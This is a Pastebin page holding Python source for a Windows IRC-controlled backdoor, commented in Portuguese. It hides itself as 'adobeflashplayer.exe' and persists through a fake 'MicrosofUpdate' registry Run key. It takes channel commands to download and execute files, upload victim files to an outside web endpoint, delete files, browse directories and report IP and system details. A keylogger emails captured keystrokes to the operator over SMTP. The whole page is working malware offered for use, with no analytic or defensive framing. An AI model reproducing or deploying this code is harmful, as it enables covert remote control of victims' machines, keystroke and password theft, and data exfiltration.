Advertisement
Guest User

?!@#sdadf

a guest
Mar 2nd, 2016
142
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 14.16 KB | None | 0 0
  1.  
  2. # -*- coding: utf-8 -*-
  3. #https://www.python.org/dev/peps/pep-0263/
  4. # File "fileName.py", line
  5. # SyntaxError: Non-ASCII charactere 'xc3'
  6. import os   #Sistema
  7. import os.path
  8. import platform
  9. import random
  10. import shutil
  11. import glob #lista arquivos
  12. import socket   #Conexao
  13. import subprocess
  14. import sys
  15. import threading
  16. import urllib,urllib2 #Download
  17. from urllib import urlopen #Ip Location
  18. import re #Ip Location
  19. import smtplib #Enviar Keylogger via email
  20. import datetime,time
  21. import pythoncom, pyHook #Keylogger
  22. import requests #Upload Arquivos
  23. import win32api, win32con #Ocultar arquivos
  24. import win32event, winerror
  25. from _winreg import *
  26. """
  27. Commandos
  28. .exit
  29. .ip
  30. .login
  31. .nick
  32. .info
  33. .cd
  34. .pwd
  35. .down
  36. .exec
  37. .listfile
  38. .upfile
  39. .delfile
  40. .hidefile"
  41. .keymail
  42. .keystop
  43. """
  44. sys.path.append(os.path.dirname(getattr(sys,'executable',sys.argv[0])) or '.')
  45. try:
  46.     import zipextimporter
  47.     zipextimporter.install()
  48. except:
  49.     pass
  50.  
  51. server ="kornbluth.freenode.net" #Servidor IRC
  52. canal = "#Unreal3301" #Canal terminus sanctuary
  53. passwd = "172839" #Senha do Bot
  54. passch = "" #Senha do Canal
  55. versao = "Versao: 1.0"
  56. dir = "C:\\Users\\Public\\Libraries\\adobeflashplayer.exe" #Copiar-se Para:
  57. data='' #Dados Keylogger Mail
  58. keyst = False #Ativar Keylogger False for True
  59.  
  60. def getPublicIp():
  61.     data = str(urlopen('http://checkip.dyndns.com/').read())
  62.     return re.compile(r'Address: (\d+\.\d+\.\d+\.\d+)').search(data).group(1)
  63.  
  64. def ipLocal():
  65.     addresses = [ip for ip in socket.gethostbyname_ex(socket.gethostname())[2] if not ip.startswith("127.")][:1]  
  66.     return addresses
  67.  
  68. class RegEdit(threading.Thread):
  69.     def run(self):
  70.         shutil.copy(sys.argv[0],dir)
  71.         aReg = ConnectRegistry(None,HKEY_CURRENT_USER)
  72.         aKey = OpenKey(aReg, r"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", 0, KEY_WRITE)
  73.         SetValueEx(aKey,"MicrosofUpdate",0, REG_SZ, dir)
  74.  
  75. class Download(threading.Thread):
  76.     def run(self):
  77.         file_name = url.split('/')[-1]
  78.         u = urllib2.urlopen(url)
  79.         f = open(file_name, 'wb')
  80.         meta = u.info()
  81.         file_size = int(meta.getheaders("Content-Length")[0])
  82.         sendmsg(canal, "Downloading: %s - Tamanho: %s Bytes" % (file_name, file_size))
  83.         f.write(u.read())
  84.         f.close()
  85.         sendmsg(canal, "Download completo de: " + str(file_name))
  86.  
  87. #Email Logs
  88. class TimerClass(threading.Thread):
  89.     def __init__(self):
  90.         threading.Thread.__init__(self)
  91.         self.event = threading.Event()
  92.     def run(self):
  93.         while not self.event.is_set():
  94.             global data
  95.             if len(data)>100:
  96.                 ts = datetime.datetime.now()
  97.                 SERVER = "smtps.bol.com.br" #Especificar Servidor Aqui
  98.                 PORT = 587 #Especificar porta Aqui
  99.                 USER="enviaemail@bol.com.br" #Especificar o usuario Aqui /preferencia bol
  100.                 PASS="senha" #Especificar a senha do usuario Aqui
  101.                 FROM = USER #From address is taken from username
  102.                 TO = ["recebeemail@gmail.com"] #Especifique o email de detino. Use vírgula para mais do que um endereço de email.
  103.                 SUBJECT = "Keylogger de: "+ pc_name + " Data/Hora " + str(ts)
  104.                 MESSAGE = data
  105.                 message = """\
  106. From: %s
  107. To: %s
  108. Subject: %s
  109.  
  110. %s
  111. """ % (FROM, ", ".join(TO), SUBJECT, MESSAGE)
  112.                 try:
  113.                     server = smtplib.SMTP()
  114.                     server.connect(SERVER,PORT)
  115.                     server.starttls()
  116.                     server.login(USER,PASS)
  117.                     server.sendmail(FROM, TO, message)
  118.                     data=''
  119.                     server.quit()
  120.                 except Exception as e:
  121.                     print e
  122.             self.event.wait(120)
  123. #Keylogger         
  124. def keypressed(event):
  125.     global data
  126.     if event.Ascii==13:
  127.         keys='<ENTER>\n'
  128.     elif event.Ascii==8:
  129.         keys='<BACK_SPACE>'
  130.     elif event.Ascii==9:
  131.         keys='<TAB>'
  132.     else:
  133.         keys=chr(event.Ascii)
  134.     data=data+keys
  135.  
  136. class KeyMail(threading.Thread):
  137.     global keyst
  138.     def run(self):
  139.         sendmsg(canal, "Keylogger Ativado")    
  140.         while keyst == False:
  141.             obj = pyHook.HookManager()
  142.             obj.KeyDown = keypressed
  143.             obj.HookKeyboard()
  144.             pythoncom.PumpMessages()       
  145.         return
  146.  
  147. def conn():
  148.     try:
  149.         irc_sock.connect((server, 6667 ))#or 6665
  150.     except socket.error:
  151.         conn()
  152.     else:
  153.         irc_sock.send(str.encode("USER "+ bot_nick +" "+ bot_nick +" "+ bot_nick +" :hax\n"))
  154.         irc_sock.send(str.encode("NICK "+ bot_nick +"\n"))
  155.  
  156. def ping():
  157.     irc_sock.send (str.encode("PONG :pingis\n"))
  158.  
  159. def sendmsg(chan , msg):
  160.   irc_sock.send("PRIVMSG " + chan +" :" + msg + "\n")#(str.encode("PRIVMSG " + chan +" :" + msg + "\n") )
  161.  
  162. def join_chan(chan):
  163.   irc_sock.send(str.encode("JOIN " + chan + " " + passch + "\n"))
  164.  
  165. def leave_chan(chan):
  166.   irc_sock.send(str.encode("PART " + chan + " leaving the canal" + "\n"))
  167.  
  168. def quit_irc(chan):
  169.     irc_sock.send(str.encode("QUIT" + "\n"))
  170.  
  171. pc_name = platform.node()
  172. irc_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  173. bot_nick = pc_name + "-" + str(random.randint(1, 10000))
  174. time.sleep(50)
  175. conn()
  176. join_chan(canal)
  177.  
  178. if os.path.isfile(dir) == False:
  179.     RegEdit().start()
  180. else:
  181.     print "\nWindows Erro"
  182.  
  183. login = False
  184. while login != True:
  185.     irc_msg = irc_sock.recv(2048)
  186.     irc_msg_clean = irc_msg.strip(str.encode('\n\r'))
  187.     irc_sock.send(str.encode("NICK " + bot_nick + "\n"))
  188.     print(irc_msg_clean)
  189.    
  190.     if irc_msg.find(irc_msg.replace("PING ", "PONG")) !=-1:
  191.         ping()
  192.        
  193.     if irc_msg.find(str.encode(".login")) !=-1:
  194.         try:
  195.             parts = irc_msg_clean.split()
  196.             islogin = parts[4]
  197.         except IndexError:
  198.             sendmsg(canal, "Sintax Invalida, use: .login + senha")
  199.         else:
  200.             if islogin != passwd:
  201.                 sendmsg(canal, "Erro na Autenticacao, senha invalida" )
  202.             else:
  203.                 sendmsg(canal, "Conectado com " + bot_nick)
  204.                 login = True
  205. #FIM AUTENTCAÇÃO POR SENHA
  206.  
  207. while (1):
  208.     irc_msg = irc_sock.recv(2048)
  209.     irc_msg_clean = irc_msg.strip(str.encode('\n\r'))
  210.     print(irc_msg_clean)
  211. ######################################################################################################################
  212.     if irc_msg.find(str.encode("Nickname is already in use")) != -1:
  213.         bot_nick = pc_name + str(random.randint(1,10000))
  214.         irc_sock.send(str.encode("NICK "+ bot_nick +"\n"))
  215.         join_chan(canal)
  216. ######################################################################################################################
  217.     if irc_msg.find(str.encode("PING :")) != -1:
  218.         ping()
  219. ######################################################################################################################
  220.     if irc_msg.find(str.encode(".exit")) != -1:
  221.         quit_irc(canal)
  222.         sys.exit()
  223. ######################################################################################################################  
  224.     if irc_msg.find(str.encode(".nick")) !=-1:
  225.         sendmsg(canal, " BotNick = " + bot_nick )
  226. ######################################################################################################################
  227.     if irc_msg.find(str.encode(".dirme")) !=-1: #Lista diretorio atual do bot
  228.         sendmsg(canal, "Meu diretorio er: " + sys.path[0])
  229.        
  230. ##########################---- PARTE  NAVEGAR NAS PASTAS ----------------------#####################################
  231.     if irc_msg.find(str.encode(".cd")) != -1: #Entrar nas pasta do computador
  232.     # view https://pypi.python.org/pypi/lockfile
  233.     # view http://www.thomas-cokelaer.info/tutorials/python/module_os.html
  234.         try:
  235.             parts = irc_msg_clean.split()
  236.             dir = parts[4]
  237.             idbot = parts[5]
  238.         except IndexError:
  239.             sendmsg(canal, "Sintax Invalida, use: .cd <caminho> <BotNick>")
  240.         else:
  241.             if idbot == bot_nick and dir == dir:
  242.                 oss = os.chdir(dir)
  243.                 listar = os.listdir(str(dir))          
  244.                 sendmsg(canal, "Diretorios e Arquivos:")
  245.                
  246.                 sendmsg(canal, str(listar))
  247.                 file = glob.glob('*.*')
  248.                 for file in file:
  249.                     sendmsg(canal, "Arquivo: " + file + " " + str(os.path.getsize(file)) + " kb")          
  250.                 local = str(os.getcwd())
  251.                 sendmsg(canal, "Diretorio Atual: " +  "[ " + str(local) + " ]")
  252.  
  253. ##########################---- PARTE  DIRETORIO ATUAL -------------------################################# 
  254.     if irc_msg.find(str.encode(".pwd")) !=-1: #Ver diretorio atual
  255.         try:
  256.             parts = irc_msg_clean.split()
  257.             idbot = parts[4]
  258.         except IndexError:
  259.             sendmsg(canal, "Sintax Invalida, use: .pwd <BotNick>")
  260.         else:
  261.             if idbot == bot_nick:
  262.                 local = str(os.getcwd())
  263.                 sendmsg(canal, "Diretorio Atual: " + "[ " + str(local) + " ]") #Printa Diretorio atual
  264.                
  265. ##########################---- PARTE  LISTAR AQUIVOS ------------###########################################
  266.     if irc_msg.find(str.encode(".listfile")) !=-1: #Ver Arquivos contido no diretorio atual
  267.         try:
  268.             parts = irc_msg_clean.split()
  269.             idbot = parts[4]
  270.         except IndexError:
  271.             sendmsg(canal, "Sintax Invalida, use: .listfile <BotNick>")
  272.         else:
  273.             if idbot == bot_nick:
  274.                 file = glob.glob('*.*')
  275.                 for file in file:
  276.                     sendmsg(canal, "Arquivo: [ " + file + " " + str(os.path.getsize(file)) + " kb ]") #Lista arquivos contido no diretorio atual
  277.                 local = str(os.getcwd())
  278.                 sendmsg(canal, "Diretorio Atual: " + "[ " + str(local) + " ]") #Printa Diretorio atual
  279.                
  280. ##########################---- PARTE DELETAR ARQUIVOS ----------------#####################################    
  281.     if irc_msg.find(str.encode(".delfile")) !=-1: #Deletar um Arquivo
  282.         try:
  283.             parts = irc_msg_clean.split()
  284.             isfile = parts[4]
  285.             idbot = parts[5]
  286.         except IndexError:
  287.             sendmsg(canal, "Sintax Invalida, use: .delfile <arquivo> <BotNick>")
  288.         else:
  289.             localisfile = glob.glob(isfile)
  290.             for localisfile in localisfile:
  291.                 os.unlink(localisfile)
  292.             if idbot == bot_nick and isfile == localisfile:
  293.                 sendmsg(canal, "Arquivo Deletado: " + "[ " + localisfile + " ]")
  294.                
  295. ##########################---- PARTE UPLOAD ------------######################################################         
  296.     if irc_msg.find(str.encode(".upfile")) !=-1: # Upload de arquivo
  297.         try:
  298.             parts = irc_msg_clean.split()
  299.             isupfile = parts[4]
  300.             idbot = parts[5]
  301.         except IndexError:
  302.             sendmsg(canal, "Sintax Invalida, use: .upfile <Arquivo> <BotNick>")
  303.         else:
  304.             if idbot == bot_nick and isupfile == isupfile:
  305.                 url = 'http://agenciagenes.com.br/upload_files/post.php' #Arry Receber o arquivo
  306.                 files = {'file': open(isupfile, 'rb')}
  307.                 r = requests.post(url, files=files) #import requests
  308.                 sendmsg(canal, "Arquivo urpado com sucesso: " + "http://agenciagenes.com.br/upload_files/" + isupfile)
  309.             #else:
  310.                 #sendmsg(canal, "Erro ao urpar o arquivo: " + isupfile)
  311.                
  312. ##########################---- PARTE DOWNLOAD -----------######################################################
  313.     if irc_msg.find(str.encode(".down")) != -1:
  314.         try:
  315.             parts = irc_msg_clean.split()
  316.             url = parts[4]
  317.             idbot = parts[5]
  318.         except IndexError:
  319.             sendmsg(canal, "Sintax Invalida, use: .down <link_direto> EX: http://endereco.com.br/arquivo.exe <BotNick>")
  320.         else:
  321.             if idbot == bot_nick and  url == url:
  322.                 if __name__ == "__main__":
  323.                     Download().start()
  324. ##########################---- PARTE EXECULTAR ARQUIVOS -----------######################################################      
  325.     if irc_msg.find(str.encode(".exec")) != -1:
  326.         try:
  327.             parts = irc_msg_clean.split()
  328.             run = parts[4]
  329.             idbot = parts[5]
  330.         except IndexError:
  331.             sendmsg(canal, "Sintax Invalida, use: .exec <arquivo.exe> <BotNick> ")
  332.         else:
  333.             if idbot == bot_nick and run == run:
  334.                 if os.path.isfile(str(run)) == True:
  335.                     subprocess.call(['start', run], shell=True)
  336.                     sendmsg(canal, run + " execultado com sucesso.")
  337.                 else:
  338.                     sendmsg(canal, run + " arquivo nao existe.")
  339.                
  340. ##########################---- PARTE KEYLOGGER -------###################################################          
  341.     if irc_msg.find(str.encode(".keymail")) !=-1:
  342.         e_Mail = "start"
  343.         try:
  344.             parts = irc_msg_clean.split()
  345.             idbot = parts[4]
  346.         except IndexError:
  347.             sendmsg(canal, "Keylogger Error, Use .keymail start")
  348.         else:
  349.             if idbot == bot_nick or idbot == e_Mail:
  350.                 if __name__ == "__main__":                     
  351.                     keyst = False
  352.                     email = TimerClass()
  353.                     email.start()
  354.                     ss_star = KeyMail()
  355.                     ss_star.start()
  356.                    
  357. ##########################---- PARTE IP --------#########################################################      
  358.     if irc_msg.find(str.encode(".ip")) !=-1:
  359.         try:
  360.             parts = irc_msg_clean.split()
  361.             idbot = parts[4]
  362.         except IndexError:
  363.             sendmsg(canal, "Error, Use .ip <BotNick>")
  364.         else:
  365.             if idbot == bot_nick:
  366.                 is_ip = getPublicIp()
  367.                 ipvL = ipLocal()
  368.                 sendmsg(canal, "IP Local: " + str(ipvL) +  " Ip Externo: " + "['" + is_ip + "']"  )
  369.        
  370.        
  371.     if irc_msg.find(str.encode(".info")) !=-1:
  372.         bots = "bots"
  373.         try:
  374.             parts = irc_msg_clean.split()
  375.             idbot = parts[4]
  376.         except IndexError:
  377.             sendmsg(canal, "Sintax Invalida, use: .info [BotNick] ou .info bots para exibir informacoes sobre todos os bots.")
  378.         else:
  379.             if idbot == bot_nick or idbot == bots:
  380.                 os = platform.system()
  381.                 name = platform.node()
  382.                 proc = platform.processor()
  383.                 info = "Sistema Operacional: " + os + ", Nome do Computador: " + name + ", Processador: " + proc
  384.                 mnfo = platform.uname()
  385.                 sendmsg(canal, info)   
  386.                 sendmsg(canal, str(mnfo))
  387.    
  388.     if irc_msg.find(str.encode(".ccd")) != -1: #Entrar nas pasta do computador nonado
  389.         try:
  390.             parts = irc_msg_clean.split()
  391.             dir = parts[4]
  392.             idbot = parts[5]
  393.         except IndexError:
  394.             sendmsg(canal, "Sintax Invalida, use: .cd <caminho> <BotNick>")
  395.         else:
  396.             if idbot == bot_nick and dir == dir:
  397.                 os.chdir(dir)
  398.                 filedirlist = os.listdir(dir)
  399.                 filelist = [os.path.abspath(f) for f in filedirlist if os.path.isfile(f)]
  400.                 dirlist  = [os.path.abspath(d) for d in filedirlist if os.path.isdir(d)]
  401.                 # Lista de arquivos com path completo.
  402.                 for i in filelist:
  403.                     sendmsg(canal, "Arquivo " + str(i + " " + str(os.path.getsize(i)) + " kb"))
  404.                 # Lista de diretórios com path completo.
  405.                 for i in dirlist:
  406.                     sendmsg(canal, "Pasta " + str(i + " " + str(os.path.getsize(i)) + " kb"))
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement